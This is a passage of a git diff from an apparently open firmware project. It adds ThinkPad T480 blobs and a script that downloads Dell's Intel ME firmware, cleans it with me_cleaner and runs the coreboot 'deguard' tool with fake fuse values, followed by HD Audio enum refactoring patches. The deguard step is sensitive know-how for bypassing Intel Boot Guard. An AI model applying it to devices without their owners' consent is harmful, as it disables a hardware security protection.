deployed to: + T480 and T480s \ No newline at end of file diff --git a/blobs/xx80/download_clean_deguard_me.sh b/blobs/xx80/download_clean_deguard_me.sh new file mode 100755 index 000000000..6bed90435 --- /dev/null +++ b/blobs/xx80/download_clean_deguard_me.sh @@ -0,0 +1,131 @@ +#!/usr/bin/env bash + +# These variables are all for the deguard tool. +# They would need to be changed if using the tool for other devices like the T480s or with a different ME version... +ME_delta="thinkpad_t480" +ME_version="11.6.0.1126" +ME_sku="2M" +ME_pch="LP" + +# Integrity checks for the vendor provided ME blob... +ME_DOWNLOAD_HASH="ddfbc51430699e0dfcb24a60bcb5b6e5481b325ebecf1ac177e069013189e4b0" +# ...and the cleaned and deguarded version from that blob. +DEGUARDED_ME_BIN_HASH="1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b" + +function usage() { + echo -n \ + "Usage: $(basename "$0") path_to_output_directory +Download Intel ME firmware from Dell, neutralize and shrink keeping the MFS. +" +} + +function chk_sha256sum() { + sha256_hash="$1"; filename="$2" + echo "$sha256_hash" "$filename" "$(pwd)" + sha256sum "$filename" + if ! echo "${sha256_hash} ${filename}" | sha256sum --check; then + echo "ERROR: SHA256 checksum for ${filename} doesn't match." + exit 1 + fi +} + +function chk_exists() { + if [ -e "$me_deguarded" ]; then + echo "me.bin already exists" + if echo "${DEGUARDED_ME_BIN_HASH} $me_deguarded" | sha256sum --check; then + echo "SKIPPING: SHA256 checksum for me.bin matches." + exit 0 + fi + retry="y" + echo "me.bin exists but checksum doesn't match. Continuing..." + fi +} + +function download_and_clean() { + me_output="$(realpath "${1}")" + + # Download and unpack the Dell installer into a temporary directory and + # extract the deguardable Intel ME blob. + pushd "$(mktemp -d)" || exit + + # Download the installer that contains the ME blob + me_installer_filename="Inspiron_5468_1.3.0.exe" + user_agent="Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0" + curl -A "$user_agent" -s -O "https://dl.dell.com/FOLDER04573471M/1/${me_installer_filename}" + chk_sha256sum "$ME_DOWNLOAD_HASH" "$me_installer_filename" + + # Download the tool to unpack Dell's installer and unpack the ME blob. + git clone https://github.com/platomav/BIOSUtilities + git -C BIOSUtilities checkout ef50b75ae115ae8162fa8b0a7b8c42b1d2db894b + + python "BIOSUtilities/Dell_PFS_Extract.py" "${me_installer_filename}" -e || exit + + extracted_me_filename="1 Inspiron_5468_1.3.0 -- 3 Intel Management Engine (Non-VPro) Update v${ME_version}.bin" + + mv "${me_installer_filename}_extracted/Firmware/${extracted_me_filename}" "${COREBOOT_DIR}/util/me_cleaner" + rm -rf ./* + popd || exit + + # Neutralize and shrink Intel ME. Note that this doesn't include + # --soft-disable to set the "ME Disable" or "ME Disable B" (e.g., + # High Assurance Program) bits, as they are defined within the Flash + # Descriptor. + # However, the HAP bit must be enabled to make the deguarded ME work. We only clean the ME in this function. + # https://github.com/corna/me_cleaner/wiki/External-flashing#neutralize-and-shrink-intel-me-useful-only-for-coreboot + pushd "${COREBOOT_DIR}/util/me_cleaner" || exit + + # MFS is needed for deguard so we whitelist it here and also do not relocate the FTPR partition + python me_cleaner.py --whitelist MFS -t -O "$me_output" "$extracted_me_filename" + rm -f "$extracted_me_filename" + popd || exit +} + +function deguard() { + me_input="$(realpath "${1}")" + me_output="$(realpath "${2}")" + + # Download the deguard tool into a temporary directory and apply the patch to the cleaned ME blob. + pushd "$(mktemp -d)" || exit + git clone https://review.coreboot.org/deguard.git + pushd deguard || exit + git checkout 0ed3e4ff824fc42f71ee22907d0594ded38ba7b2 + + python ./finalimage.py \ + --delta "data/delta/$ME_delta" \ + --version "$ME_version" \ + --pch "$ME_pch" \ + --sku "$ME_sku" \ + --fake-fpfs data/fpfs/zero \ + --input "$me_input" \ + --output "$me_output" + + popd || exit + #Cleanup + rm -rf ./* + popd || exit +} + +if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then + if [[ "${1:-}" == "--help" ]]; then + usage + else + + output_dir="$(realpath "${1:-./}")" + me_cleaned="${output_dir}/me_cleaned.bin" + me_deguarded="${output_dir}/me.bin" + chk_exists + + if [[ -z "${COREBOOT_DIR}" ]]; then + echo "ERROR: No COREBOOT_DIR variable defined." + exit 1 + fi + + if [[ ! -f "$me_deguarded" ]] || [ "$retry" = "y" ]; then + download_and_clean "$me_cleaned" + deguard "$me_cleaned" "$me_deguarded" + rm -f "$me_cleaned" + fi + + chk_sha256sum "$DEGUARDED_ME_BIN_HASH" "$me_deguarded" + fi +fi diff --git a/blobs/xx80/gbe.bin b/blobs/xx80/gbe.bin new file mode 100644 index 0000000000000000000000000000000000000000..dfb2300d7734e85cb289ae431b3237604a0ce73d GIT binary patch literal 8192 zcmb2DX|I0V&B*cpzX-#528IR(f&c#x3&bj|62C6W00RxI%XJJG1b|$gBrPT`XAWV; z>!NFST^GFpCP6Hq)&>T@HV%*$b_NCo1rUP|h#46iG=$h4{$l_JrvLw~LqW{~9pp%rRu}*=E4N3gjb99%YS&z-S0$2DdOXVrIZm5ws9swnY;Fa`*6Hij9hl zh5)G{Fj@+YhQMeDjE2By2#kinXb6m~5b!fH334?s4)^i(ar6T=9O&(PsnPyFy@Pzz zzR?gEG$AnB|0k}uHroFuE}TYHksbnrrZ5`~LtM CN`F28 literal 0 HcmV?d00001 diff --git a/blobs/xx80/hashes.txt b/blobs/xx80/hashes.txt new file mode 100644 index 000000000..bc3da7b1c --- /dev/null +++ b/blobs/xx80/hashes.txt @@ -0,0 +1,5 @@ +8e48eb06740a0c250eea0d17a8610106cbd76a50e3bee3485642fd46a8204f02 Fsp_M.fd +c2f4ee42ba15b315ad3b282375af9151ce3f9e7d81ea3537ffc404e7e20f1f9a Fsp_S.fd +6b7f3912995fb87ae62956e009470b35b72b5b9a4bfd7bed48da429af9804866 gbe.bin +f2f6d5fb0a5e02964b494862032fd93f1f88e2febd9904b936083600645c7fdf ifd.bin +1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b me.bin \ No newline at end of file diff --git a/blobs/xx80/ifd.bin b/blobs/xx80/ifd.bin new file mode 100644 index 0000000000000000000000000000000000000000..cdeaee4a484065cb6ab65e22c9d28d63117a1ddc GIT binary patch literal 4096 zcmeH~u}T9$5QhJ~&0!M6oW#Hhf-9KDDk|27z>&sA@EWmD@Bz|TSS6Lcl}})4En14; zWB3S35wST~|G7JYM>J)SxO4n7+|2IG?swH$TeQ>rQB9+SvKMq(dKbm2wI4X!+v=P@ zJU+d?Ne#3$Wx1!W6g=2Iev$3}^vHmTq*>lmde6gvV?fE^@5aPbPBV9RR4inRdQ55$ zxXfELc0dw9nKD$HI-meQ^(*wU^P~ajJST-KmTyN@`cwj6{u-Y-pk=XtRI3o}5b-e47h z&~fGnI0BA +Date: Fri, 23 Feb 2024 10:28:08 +0900 +Subject: [PATCH 05/11] include/device/azalia_device.h: Correct location2 shift + to 28 bits +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +The location is specified to be in range of 29:24, which is further +divided into upper bits (location2) [5:4] and lower bits (location1) +[3:0]. + +This also corrects the resulting values of clevo/l140mu. + +References: + - Intel High Definition Audio Specification, rev. 1.0a, page 178, + Figure 74. Configuration Data Structure. + +TEST=Timeless build using AZALIA_PIN_DESC() and without now produce the +same binary. + +Change-Id: Ia5a3431b70783cb88e866d0fd8ea5530100f3d52 +Signed-off-by: Nicholas Sudsgaard +Reviewed-on: https://review.coreboot.org/c/coreboot/+/80727 +Reviewed-by: Felix Singer +Reviewed-by: Michael Niewöhner +Reviewed-by: Nico Huber +Tested-by: build bot (Jenkins) +--- + src/include/device/azalia_device.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/include/device/azalia_device.h b/src/include/device/azalia_device.h +index f7c1448863..42807fdd46 100644 +--- a/src/include/device/azalia_device.h ++++ b/src/include/device/azalia_device.h +@@ -120,7 +120,7 @@ enum azalia_pin_misc { + #define AZALIA_PIN_DESC(conn, location2, location1, dev, type, color, misc, \ + association, sequence) \ + (((conn) << 30) | \ +- ((location2) << 27) | \ ++ ((location2) << 28) | \ + ((location1) << 24) | \ + ((dev) << 20) | \ + ((type) << 16) | \ +-- +2.39.5 + diff --git a/patches/coreboot-24.02.01/0006-include-device-Merge-enums-from-azalia_device.h-and-.patch b/patches/coreboot-24.02.01/0006-include-device-Merge-enums-from-azalia_device.h-and-.patch new file mode 100644 index 000000000..4241a8e0a --- /dev/null +++ b/patches/coreboot-24.02.01/0006-include-device-Merge-enums-from-azalia_device.h-and-.patch @@ -0,0 +1,552 @@ +From 3ef328a60902ae7fdf14786c3088522feb4df044 Mon Sep 17 00:00:00 2001 +From: Nicholas Sudsgaard +Date: Thu, 22 Feb 2024 13:33:15 +0900 +Subject: [PATCH 06/11] include/device: Merge enums from azalia_device.h and + azalia.h +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +We were keeping 2 copies of the same thing (albeit there were some +slight differences). As azalia_device.h is used much more in the +codebase this was kept as the base and then some of the nice features +of azalia.h were incorporated. + +The significant changes are: + - All enum names now use the `AZALIA_` prefix. + +This also drops the AzaliaPinConfiguration enum as it was never used +since added in 2013. + +Change-Id: Ie874b083a18963679981a9cd2b25d123890d628e +Signed-off-by: Nicholas Sudsgaard +Reviewed-on: https://review.coreboot.org/c/coreboot/+/80695 +Reviewed-by: Nico Huber +Tested-by: build bot (Jenkins) +Reviewed-by: Felix Singer +Reviewed-by: Michael Niewöhner +--- + src/include/device/azalia.h | 115 ------------- + src/include/device/azalia_device.h | 158 +++++++++--------- + .../clevo/tgl-u/variants/l140mu/hda_verb.c | 70 ++++---- + .../siemens/chili/variants/chili/hda_verb.c | 73 ++++---- + 4 files changed, 157 insertions(+), 259 deletions(-) + delete mode 100644 src/include/device/azalia.h + +diff --git a/src/include/device/azalia.h b/src/include/device/azalia.h +deleted file mode 100644 +index 24f91d9755..0000000000 +--- a/src/include/device/azalia.h ++++ /dev/null +@@ -1,115 +0,0 @@ +-/* SPDX-License-Identifier: GPL-2.0-only */ +-#ifndef AZALIA_H_ +-#define AZALIA_H_ +- +-/* +- * The tables found in this file are derived from the Intel High Definition +- * Audio Specification Revision 1.0a, published 17 June 2010 +- */ +- +-/* +- * Page 177: Default Pin Configuration +- */ +- +-enum AzaliaPinCfgPortConnectivity { +- AZALIA_PINCFG_PORT_JACK = 0, +- AZALIA_PINCFG_PORT_NC = 1, +- AZALIA_PINCFG_PORT_FIXED = 2, +- AZALIA_PINCFG_PORT_MULTIPLE = 3, +-}; +- +-enum AzaliaPinCfgLocationGross { +- AZALIA_PINCFG_LOCATION_EXTERNAL = 0x00, +- AZALIA_PINCFG_LOCATION_INTERNAL = 0x10, +- AZALIA_PINCFG_LOCATION_EXT_CHASSIS = 0x20, +- AZALIA_PINCFG_LOCATION_OTHER = 0x30, +-}; +- +-enum AzaliaPinCfgLocationFine { +- AZALIA_PINCFG_LOCATION_NOT_APPLICABLE = 0x00, +- AZALIA_PINCFG_LOCATION_REAR = 0x01, +- AZALIA_PINCFG_LOCATION_FRONT = 0x02, +- AZALIA_PINCFG_LOCATION_LEFT = 0x03, +- AZALIA_PINCFG_LOCATION_RIGHT = 0x04, +- AZALIA_PINCFG_LOCATION_TOP = 0x05, +- AZALIA_PINCFG_LOCATION_BOTTOM = 0x06, +-}; +- +-enum AzaliaPinCfgLocationSpecial { +- AZALIA_PINCFG_LOCATION_REAR_PANEL = 0x07, +- AZALIA_PINCFG_LOCATION_DRIVE_BAY = 0x08, +- AZALIA_PINCFG_LOCATION_RISER_CARD = 0x17, +- AZALIA_PINCFG_LOCATION_DIGITAL_DISPLAY = 0x18, +- AZALIA_PINCFG_LOCATION_ATAPI = 0x19, +- AZALIA_PINCFG_LOCATION_INSIDE_LID = 0x37, +- AZALIA_PINCFG_LOCATION_OUTSIDE_LID = 0x38, +-}; +- +-enum AzaliaPinCfgDefaultDevice { +- AZALIA_PINCFG_DEVICE_LINEOUT = 0x0, +- AZALIA_PINCFG_DEVICE_SPEAKER = 0x1, +- AZALIA_PINCFG_DEVICE_HP_OUT = 0x2, +- AZALIA_PINCFG_DEVICE_CD = 0x3, +- AZALIA_PINCFG_DEVICE_SPDIF_OUT = 0x4, +- AZALIA_PINCFG_DEVICE_DIGITAL_OUT = 0x5, +- AZALIA_PINCFG_DEVICE_MODEM_LINE = 0x6, +- AZALIA_PINCFG_DEVICE_MODEM_HANDSET = 0x7, +- AZALIA_PINCFG_DEVICE_LINEIN = 0x8, +- AZALIA_PINCFG_DEVICE_AUX = 0x9, +- AZALIA_PINCFG_DEVICE_MICROPHONE = 0xA, +- AZALIA_PINCFG_DEVICE_TELEPHONY = 0xB, +- AZALIA_PINCFG_DEVICE_SPDIF_IN = 0xC, +- AZALIA_PINCFG_DEVICE_DIGITAL_IN = 0xD, +- AZALIA_PINCFG_DEVICE_OTHER = 0xF, +-}; +- +-enum AzaliaPinCfgConnectionType { +- AZALIA_PINCFG_CONN_UNKNOWN = 0x0, +- AZALIA_PINCFG_CONN_MINI_HEADPHONE_JACK = 0x1, +- AZALIA_PINCFG_CONN_STEREO_PHONE_JACK = 0x2, +- AZALIA_PINCFG_CONN_INTERNAL_ATAPI = 0x3, +- AZALIA_PINCFG_CONN_RCA = 0x4, +- AZALIA_PINCFG_CONN_OPTICAL = 0x5, +- AZALIA_PINCFG_CONN_OTHER_DIGITAL = 0x6, +- AZALIA_PINCFG_CONN_OTHER_ANALOG = 0x7, +- AZALIA_PINCFG_CONN_DIN_PLUG = 0x8, +- AZALIA_PINCFG_CONN_XLR = 0x9, +- AZALIA_PINCFG_CONN_MODEM_RJ11 = 0xA, +- AZALIA_PINCFG_CONN_COMBINATION = 0xB, +- AZALIA_PINCFG_CONN_OTHER = 0xF, +-}; +- +-enum AzaliaPinCfgColor { +- AZALIA_PINCFG_COLOR_UNKNOWN = 0x0, +- AZALIA_PINCFG_COLOR_BLACK = 0x1, +- AZALIA_PINCFG_COLOR_GREY = 0x2, +- AZALIA_PINCFG_COLOR_BLUE = 0x3, +- AZALIA_PINCFG_COLOR_GREEN = 0x4, +- AZALIA_PINCFG_COLOR_RED = 0x5, +- AZALIA_PINCFG_COLOR_ORANGE = 0x6, +- AZALIA_PINCFG_COLOR_YELLOW = 0x7, +- AZALIA_PINCFG_COLOR_PURPLE = 0x8, +- AZALIA_PINCFG_COLOR_PINK = 0x9, +- AZALIA_PINCFG_COLOR_WHITE = 0xE, +- AZALIA_PINCFG_COLOR_OTHER = 0xF, +-}; +- +-enum AzaliaPinCfgMisc { +- AZALIA_PINCFG_MISC_IGNORE_PRESENCE = 0x1, +-}; +- +-union AzaliaPinConfiguration { +- unsigned int value; +- struct __attribute__((aligned(4), packed)) { +- enum AzaliaPinCfgPortConnectivity port:2; +- unsigned char location:6; +- enum AzaliaPinCfgDefaultDevice device:4; +- enum AzaliaPinCfgConnectionType connection:4; +- enum AzaliaPinCfgColor color:4; +- unsigned char misc:4; +- unsigned char association:4; +- unsigned char sequence:4; +- }; +-}; +- +-#endif /* AZALIA_H_ */ +diff --git a/src/include/device/azalia_device.h b/src/include/device/azalia_device.h +index 42807fdd46..4d9298cf95 100644 +--- a/src/include/device/azalia_device.h ++++ b/src/include/device/azalia_device.h +@@ -4,8 +4,8 @@ + #define DEVICE_AZALIA_H + + #include +-#include + #include ++#include + #include + + #define HDA_GCAP_REG 0x00 +@@ -36,98 +36,104 @@ extern const u32 cim_verb_data_size; + extern const u32 pc_beep_verbs[]; + extern const u32 pc_beep_verbs_size; + ++/* ++ * The tables found in this file are derived from the Intel High Definition ++ * Audio Specification Revision 1.0a, published 17 June 2010 ++ * ++ * 7.3.3.31 Configuration Default (page 177) ++ */ + enum azalia_pin_connection { +- JACK = 0, +- NC, +- INTEGRATED, +- JACK_AND_INTEGRATED, ++ AZALIA_JACK = 0x0, ++ AZALIA_NC = 0x1, ++ AZALIA_INTEGRATED = 0x2, ++ AZALIA_JACK_AND_INTEGRATED = 0x3, + }; + +-enum azalia_pin_color { +- COLOR_UNKNOWN = 0, +- BLACK, +- GREY, +- BLUE, +- GREEN, +- RED, +- ORANGE, +- YELLOW, +- PURPLE, +- PINK, +- WHITE = 0xe, +- COLOR_OTHER = 0xf, ++enum azalia_pin_location_gross { ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS = 0x0, ++ AZALIA_INTERNAL = 0x1, ++ AZALIA_SEPARATE_CHASSIS = 0x2, ++ AZALIA_LOCATION_OTHER = 0x3, + }; + +-enum azalia_pin_type { +- TYPE_UNKNOWN = 0, +- STEREO_MONO_1_8, +- STEREO_MONO_1_4, +- ATAPI, +- RCA, +- OPTICAL, +- OTHER_DIGITAL, +- OTHER_ANALOG, +- MULTICHANNEL_ANALOG, +- XLR, +- RJ_11, +- COMBINATION, +- TYPE_OTHER = 0xf ++enum azalia_pin_location_geometric { ++ AZALIA_GEOLOCATION_NA = 0x0, ++ AZALIA_REAR = 0x1, ++ AZALIA_FRONT = 0x2, ++ AZALIA_LEFT = 0x3, ++ AZALIA_RIGHT = 0x4, ++ AZALIA_TOP = 0x5, ++ AZALIA_BOTTOM = 0x6, ++ AZALIA_SPECIAL7 = 0x7, ++ AZALIA_SPECIAL8 = 0x8, ++ AZALIA_SPECIAL9 = 0x9, + }; + + enum azalia_pin_device { +- LINE_OUT = 0, +- SPEAKER, +- HP_OUT, +- CD, +- SPDIF_OUT, +- DIGITAL_OTHER_OUT, +- MODEM_LINE_SIDE, +- MODEM_HANDSET_SIDE, +- LINE_IN, +- AUX, +- MIC_IN, +- TELEPHONY, +- SPDIF_IN, +- DIGITAL_OTHER_IN, +- DEVICE_OTHER = 0xf, ++ AZALIA_LINE_OUT = 0x0, ++ AZALIA_SPEAKER = 0x1, ++ AZALIA_HP_OUT = 0x2, ++ AZALIA_CD = 0x3, ++ AZALIA_SPDIF_OUT = 0x4, ++ AZALIA_DIGITAL_OTHER_OUT = 0x5, ++ AZALIA_MODEM_LINE_SIDE = 0x6, ++ AZALIA_MODEM_HANDSET_SIDE = 0x7, ++ AZALIA_LINE_IN = 0x8, ++ AZALIA_AUX = 0x9, ++ AZALIA_MIC_IN = 0xa, ++ AZALIA_TELEPHONY = 0xb, ++ AZALIA_SPDIF_IN = 0xc, ++ AZALIA_DIGITAL_OTHER_IN = 0xd, ++ AZALIA_DEVICE_OTHER = 0xf, + }; + +-enum azalia_pin_location_1 { +- NA = 0, +- REAR, +- FRONT, +- LEFT, +- RIGHT, +- TOP, +- BOTTOM, +- SPECIAL7, +- SPECIAL8, +- SPECIAL9, ++enum azalia_pin_type { ++ AZALIA_TYPE_UNKNOWN = 0x0, ++ AZALIA_STEREO_MONO_1_8 = 0x1, ++ AZALIA_STEREO_MONO_1_4 = 0x2, ++ AZALIA_ATAPI_INTERNAL = 0x3, ++ AZALIA_RCA = 0x4, ++ AZALIA_OPTICAL = 0x5, ++ AZALIA_OTHER_DIGITAL = 0x6, ++ AZALIA_OTHER_ANALOG = 0x7, ++ AZALIA_MULTICHANNEL_ANALOG = 0x8, ++ AZALIA_XLR = 0x9, ++ AZALIA_RJ_11 = 0xa, ++ AZALIA_COMBINATION = 0xb, ++ AZALIA_TYPE_OTHER = 0xf, + }; + +-enum azalia_pin_location_2 { +- EXTERNAL_PRIMARY_CHASSIS = 0, +- INTERNAL, +- SEPARATE_CHASSIS, +- LOCATION_OTHER ++enum azalia_pin_color { ++ AZALIA_COLOR_UNKNOWN = 0x0, ++ AZALIA_BLACK = 0x1, ++ AZALIA_GREY = 0x2, ++ AZALIA_BLUE = 0x3, ++ AZALIA_GREEN = 0x4, ++ AZALIA_RED = 0x5, ++ AZALIA_ORANGE = 0x6, ++ AZALIA_YELLOW = 0x7, ++ AZALIA_PURPLE = 0x8, ++ AZALIA_PINK = 0x9, ++ AZALIA_WHITE = 0xe, ++ AZALIA_COLOR_OTHER = 0xf, + }; + + enum azalia_pin_misc { +- JACK_PRESENCE_DETECT = 0, +- NO_JACK_PRESENCE_DETECT, ++ AZALIA_JACK_PRESENCE_DETECT = 0x0, ++ AZALIA_NO_JACK_PRESENCE_DETECT = 0x1, + }; + +-#define AZALIA_PIN_DESC(conn, location2, location1, dev, type, color, misc, \ +- association, sequence) \ +- (((conn) << 30) | \ +- ((location2) << 28) | \ +- ((location1) << 24) | \ +- ((dev) << 20) | \ +- ((type) << 16) | \ +- ((color) << 12) | \ +- ((misc) << 8) | \ +- ((association) << 4) | \ +- ((sequence) << 0)) ++#define AZALIA_PIN_DESC(conn, location2, location1, dev, type, color, misc, \ ++ association, sequence) \ ++ ((((conn) << 30) & 0xc0000000) | \ ++ (((location2) << 28) & 0x30000000) | \ ++ (((location1) << 24) & 0x0f000000) | \ ++ (((dev) << 20) & 0x00f00000) | \ ++ (((type) << 16) & 0x000f0000) | \ ++ (((color) << 12) & 0x0000f000) | \ ++ (((misc) << 8) & 0x00000f00) | \ ++ (((association) << 4) & 0x000000f0) | \ ++ (((sequence) << 0) & 0x0000000f)) + + #define AZALIA_ARRAY_SIZES const u32 pc_beep_verbs_size = \ + ARRAY_SIZE(pc_beep_verbs); \ +diff --git a/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c b/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c +index 0ff24a2c79..2e1a5799d7 100644 +--- a/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c ++++ b/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c +@@ -12,61 +12,61 @@ const u32 cim_verb_data[] = { + + /* Microphone (display lid), vendor value: 0x90a60130 */ + AZALIA_PIN_CFG(0, 0x12, AZALIA_PIN_DESC( +- INTEGRATED, +- LOCATION_OTHER, /* vendor: SEPARATE_CHASSIS */ +- SPECIAL7, /* lid, vendor: NA */ +- MIC_IN, +- OTHER_DIGITAL, +- COLOR_UNKNOWN, +- NO_JACK_PRESENCE_DETECT, ++ AZALIA_INTEGRATED, ++ AZALIA_LOCATION_OTHER, /* vendor: AZALIA_SEPARATE_CHASSIS */ ++ AZALIA_SPECIAL7, /* lid, vendor: AZALIA_GEOLOCATION_NA*/ ++ AZALIA_MIC_IN, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, + 3, 0) + ), + + /* Integrated speakers, vendor value: 0x90170110 */ + AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( +- INTEGRATED, +- LOCATION_OTHER, /* vendor: SEPARATE_CHASSIS */ +- BOTTOM, /* vendor: NA */ +- SPEAKER, +- OTHER_ANALOG, +- COLOR_UNKNOWN, +- NO_JACK_PRESENCE_DETECT, ++ AZALIA_INTEGRATED, ++ AZALIA_LOCATION_OTHER, /* vendor: AZALIA_SEPARATE_CHASSIS */ ++ AZALIA_BOTTOM, /* vendor: AZALIA_GEOLOCATION_NA*/ ++ AZALIA_SPEAKER, ++ AZALIA_OTHER_ANALOG, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, + 1, 0) + ), + + /* Headphones, vendor value: 0x02211020 */ + AZALIA_PIN_CFG(0, 0x15, AZALIA_PIN_DESC( +- JACK, +- EXTERNAL_PRIMARY_CHASSIS, +- RIGHT, /* vendor: FRONT */ +- HP_OUT, +- STEREO_MONO_1_8, +- BLACK, +- JACK_PRESENCE_DETECT, ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS, ++ AZALIA_RIGHT, /* vendor: AZALIA_FRONT */ ++ AZALIA_HP_OUT, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, + 2, 0) + ), + + /* ext. Microphone, vendor value: 0x411111f0, linux override: 0x01a1913c */ + AZALIA_PIN_CFG(0, 0x1a, AZALIA_PIN_DESC( +- JACK, +- EXTERNAL_PRIMARY_CHASSIS, +- RIGHT, /* vendor: REAR */ +- MIC_IN, +- STEREO_MONO_1_8, +- BLACK, /* vendor: PINK */ +- NO_JACK_PRESENCE_DETECT, ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS, ++ AZALIA_RIGHT, /* vendor: AZALIA_REAR */ ++ AZALIA_MIC_IN, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, /* vendor: AZALIA_PINK */ ++ AZALIA_NO_JACK_PRESENCE_DETECT, + 3, 12) + ), + + /* PCBEEP, vendor value: 0x41748245 */ + AZALIA_PIN_CFG(0, 0x1d, AZALIA_PIN_DESC( +- INTEGRATED, /* vendor: NC */ +- INTERNAL, /* vendor: EXTERNAL_PRIMARY_CHASSIS */ +- NA, /* vendor: REAR */ +- DEVICE_OTHER, /* vendor: MODEM_HANDSET_SIDE */ +- OTHER_ANALOG, /* vendor: RCA */ +- COLOR_UNKNOWN, /* vendor: PURPLE */ +- NO_JACK_PRESENCE_DETECT, /* vendor: 2 */ ++ AZALIA_INTEGRATED, /* vendor: AZALIA_NC */ ++ AZALIA_INTERNAL, /* vendor: AZALIA_EXTERNAL_PRIMARY_CHASSIS */ ++ AZALIA_GEOLOCATION_NA, /* vendor: AZALIA_REAR */ ++ AZALIA_DEVICE_OTHER, /* vendor: AZALIA_MODEM_HANDSET_SIDE */ ++ AZALIA_OTHER_ANALOG, /* vendor: AZALIA_RCA */ ++ AZALIA_COLOR_UNKNOWN, /* vendor: AZALIA_PURPLE */ ++ AZALIA_NO_JACK_PRESENCE_DETECT, /* vendor: 2 */ + 4, 5) + ), + +diff --git a/src/mainboard/siemens/chili/variants/chili/hda_verb.c b/src/mainboard/siemens/chili/variants/chili/hda_verb.c +index f0e403acd0..7fdb884465 100644 +--- a/src/mainboard/siemens/chili/variants/chili/hda_verb.c ++++ b/src/mainboard/siemens/chili/variants/chili/hda_verb.c +@@ -1,7 +1,6 @@ + /* SPDX-License-Identifier: GPL-2.0-only */ + + #include +-#include + + const u32 cim_verb_data[] = { + /* coreboot specific header */ +@@ -15,31 +14,36 @@ const u32 cim_verb_data[] = { + AZALIA_SUBVENDOR(0, 0x110a4097), + + /* Pin Widget Verb Table */ +- AZALIA_PIN_CFG(0, 0x14, /* 0x14 Speaker OUT */ +- (AZALIA_PINCFG_PORT_FIXED << 30) | +- (AZALIA_PINCFG_LOCATION_INTERNAL << 24) | +- (AZALIA_PINCFG_DEVICE_SPEAKER << 20) | +- (AZALIA_PINCFG_CONN_OTHER_ANALOG << 16) | +- (AZALIA_PINCFG_MISC_IGNORE_PRESENCE << 8) | +- (1 << 4) | 0 +- ), +- AZALIA_PIN_CFG(0, 0x21, /* 0x21 Headphone OUT */ +- (AZALIA_PINCFG_PORT_JACK << 30) | +- (AZALIA_PINCFG_LOCATION_FRONT << 24) | +- (AZALIA_PINCFG_DEVICE_HP_OUT << 20) | +- (AZALIA_PINCFG_CONN_COMBINATION << 16) | +- (AZALIA_PINCFG_COLOR_BLACK << 12) | +- (2 << 4) | 0 +- ), +- AZALIA_PIN_CFG(0, 0x19, /* 0x19 MIC2 */ +- (AZALIA_PINCFG_PORT_JACK << 30) | +- (AZALIA_PINCFG_LOCATION_FRONT << 24) | +- (AZALIA_PINCFG_DEVICE_MICROPHONE << 20) | +- (AZALIA_PINCFG_CONN_COMBINATION << 16) | +- (AZALIA_PINCFG_COLOR_BLACK << 12) | +- (AZALIA_PINCFG_MISC_IGNORE_PRESENCE << 8) | +- (3 << 4) | 0 +- ), ++ AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( /* 0x14 Speaker OUT */ ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_GEOLOCATION_NA, ++ AZALIA_SPEAKER, ++ AZALIA_OTHER_ANALOG, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x21, AZALIA_PIN_DESC( /* 0x21 Headphone OUT */ ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS, ++ AZALIA_FRONT, ++ AZALIA_HP_OUT, ++ AZALIA_COMBINATION, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 2, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x19, AZALIA_PIN_DESC( /* 0x19 MIC2 */ ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS, ++ AZALIA_FRONT, ++ AZALIA_MIC_IN, ++ AZALIA_COMBINATION, ++ AZALIA_BLACK, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 3, 0 ++ )), + + AZALIA_PIN_CFG(0, 0x12, AZALIA_PIN_CFG_NC(0)), /* 0x12 Digital MIC */ + AZALIA_PIN_CFG(0, 0x17, AZALIA_PIN_CFG_NC(1)), /* 0x17 Mono OUT */ +@@ -61,13 +65,16 @@ const u32 cim_verb_data[] = { + 0x20878101, + AZALIA_PIN_CFG(2, 0x05, AZALIA_PIN_CFG_NC(0)), + AZALIA_PIN_CFG(2, 0x06, AZALIA_PIN_CFG_NC(1)), +- AZALIA_PIN_CFG(2, 0x07, +- (AZALIA_PINCFG_PORT_JACK << 30) | +- (AZALIA_PINCFG_LOCATION_REAR_PANEL << 24) | +- (AZALIA_PINCFG_DEVICE_DIGITAL_OUT << 20) | +- (AZALIA_PINCFG_CONN_OTHER_DIGITAL << 16) | +- (1 << 4) | 0 +- ), ++ AZALIA_PIN_CFG(2, 0x07, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS, ++ AZALIA_SPECIAL7, ++ 